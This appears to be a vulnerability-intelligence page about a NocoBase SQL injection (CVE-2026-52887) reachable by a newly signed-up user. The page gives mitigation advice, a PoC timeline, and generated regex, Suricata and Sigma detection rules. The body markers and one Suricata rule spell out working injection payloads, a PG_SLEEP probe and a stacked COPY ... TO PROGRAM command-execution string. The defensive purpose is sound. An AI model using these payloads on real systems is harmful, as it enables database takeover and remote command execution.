NocoBase
NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE
NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to 2.0.61, NocoBase @nocobase/plugin-notification-in-app-message exposed GET /api/myInAppChannels:list, where the filter[latestMsgReceiveTimestamp][$lt] value was inserted into a Sequelize.literal() template string without escaping or parameter binding, allowing a signed-up authenticated user to run stacked PostgreSQL statements and potentially execute commands with COPY ... TO PROGRAM. This vulnerability is fixed in 2.0.61.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
- < 2.0.61
Fixed in 2.0.61
Mitigation
Upgrade nocobase to 2.0.61 or later.
References
- Vendor advisory github.com/nocobase/nocobase/security/advisori…
- Patch github.com/nocobase/nocobase/commit/68d64e3fcf…
- Release notes github.com/nocobase/nocobase/releases/tag/v2.0…
Timeline
Days relative to CVE publicationFirst public PoC 98 days after publication; not in CISA KEV. First PoC: pentrestion/nocobase-cve-2026-52887 (created 21 Oct 2026, found by us: 14 Nov 2026).
PoC repositories
Found on GitHub.1 PoCs · 1 informational
PoCs 1
| Repository | Created | Found by us | Stars | Assessment |
|---|---|---|---|---|
| pentrestion/nocobase-cve-2026-52887 | 21 Oct 2026 +98 d | 14 Nov 2026 | 0 | PoC |
Informational 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| BiiTts/CVE-2026-52887-NocoBase-SQLi-RCE | 3 Aug 2026 +18 d | 0 | Informational · detection |
Only PoCs count toward the first-PoC date and the characteristics below. "Backfilled" means we found the repository more than 30 days after it was created. Do not run PoC code from unknown sources.
PoC characteristics
What to hunt for in your logs · from 1 PoC repoPOST /api/auth:signIn
- Query
authenticator=basicauthenticator=basic)- Body markers
"account":"attacker""password":"Password123!""account":"{var}""password":"{var}"inapplication/json- Ports
- 13000
- Seen in
- 1 repo: pentrestion/nocobase-cve-2026-52887
- Evidence
- pentrestion/nocobase-cve-2026-52887/README.md:60 pentrestion/nocobase-cve-2026-52887/repro-cve-2026-52887.sh:39
POST /api/auth:signUp
- Query
authenticator=basic- Body markers
"username":"attacker""password":"Password123!""confirm_password":"Password123!""username":"{var}""password":"{var}""confirm_password":"{var}"inapplication/json- Ports
- 13000
- Seen in
- 1 repo: pentrestion/nocobase-cve-2026-52887
- Evidence
- pentrestion/nocobase-cve-2026-52887/README.md:56 pentrestion/nocobase-cve-2026-52887/repro-cve-2026-52887.sh:29
POST /api/myInAppChannels:list
- Key headers
Authorization: Bearer {var}- Body markers
filter[latestMsgReceiveTimestamp][$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))--filter[latestMsgReceiveTimestamp][$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwn.txt'; --filter[latestMsgReceiveTimestamp][$lt]={var}inapplication/x-www-form-urlencoded- Ports
- 13000
- Seen in
- 1 repo: pentrestion/nocobase-cve-2026-52887
- Evidence
- pentrestion/nocobase-cve-2026-52887/README.md:65 pentrestion/nocobase-cve-2026-52887/README.md:77 pentrestion/nocobase-cve-2026-52887/repro-cve-2026-52887.sh:53
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/api/auth:signIn\?(?:.*&)?authenticator=basic.*authenticator=basic\)
(?i)^/api/auth:signUp\?(?:.*&)?authenticator=basic
(?i)^/api/myInAppChannels:list(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET [13000] (msg:"GG PoC-Monitor CVE-2026-52887 nocobase nocobase exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/auth:signIn"; http.uri; content:"authenticator=basic"; http.uri; content:"authenticator=basic)"; http.request_body; content:"|22|account|22|:|22|attacker|22|"; http.request_body; content:"|22|password|22|:|22|Password123!|22|"; http.request_body; content:"|22|account|22|:|22|"; http.request_body; content:"|22|password|22|:|22|"; reference:url,poc.griffinguard.io/cve/CVE-2026-52887; classtype:web-application-attack; sid:9825293; rev:1;)
alert http any any -> $HOME_NET [13000] (msg:"GG PoC-Monitor CVE-2026-52887 nocobase nocobase exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/auth:signUp"; http.uri; content:"authenticator=basic"; http.request_body; content:"|22|username|22|:|22|attacker|22|"; http.request_body; content:"|22|password|22|:|22|Password123!|22|"; http.request_body; content:"|22|confirm_password|22|:|22|Password123!|22|"; http.request_body; content:"|22|username|22|:|22|"; http.request_body; content:"|22|password|22|:|22|"; http.request_body; content:"|22|confirm_password|22|:|22|"; reference:url,poc.griffinguard.io/cve/CVE-2026-52887; classtype:web-application-attack; sid:9785983; rev:1;)
alert http any any -> $HOME_NET [13000] (msg:"GG PoC-Monitor CVE-2026-52887 nocobase nocobase exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/myInAppChannels:list"; http.header; content:"Authorization: Bearer "; nocase; http.request_body; content:"filter[latestMsgReceiveTimestamp][$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))--"; http.request_body; content:"filter[latestMsgReceiveTimestamp][$lt]=0)|3b| COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwn.txt'|3b| --"; http.request_body; content:"filter[latestMsgReceiveTimestamp][$lt]="; reference:url,poc.griffinguard.io/cve/CVE-2026-52887; classtype:web-application-attack; sid:9513083; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: nocobase nocobase exploit attempt (CVE-2026-52887)
id: gg-pocmon-cve-2026-52887-9825293
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-52887. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-52887
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/api/auth:signIn'
cs-uri-query|contains|all:
- 'authenticator=basic'
- 'authenticator=basic)'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.52887
title: nocobase nocobase exploit attempt (CVE-2026-52887)
id: gg-pocmon-cve-2026-52887-9785983
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-52887. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-52887
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/api/auth:signUp'
cs-uri-query|contains|all:
- 'authenticator=basic'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.52887
title: nocobase nocobase exploit attempt (CVE-2026-52887)
id: gg-pocmon-cve-2026-52887-9513083
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-52887. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-52887
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/api/myInAppChannels:list'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.52887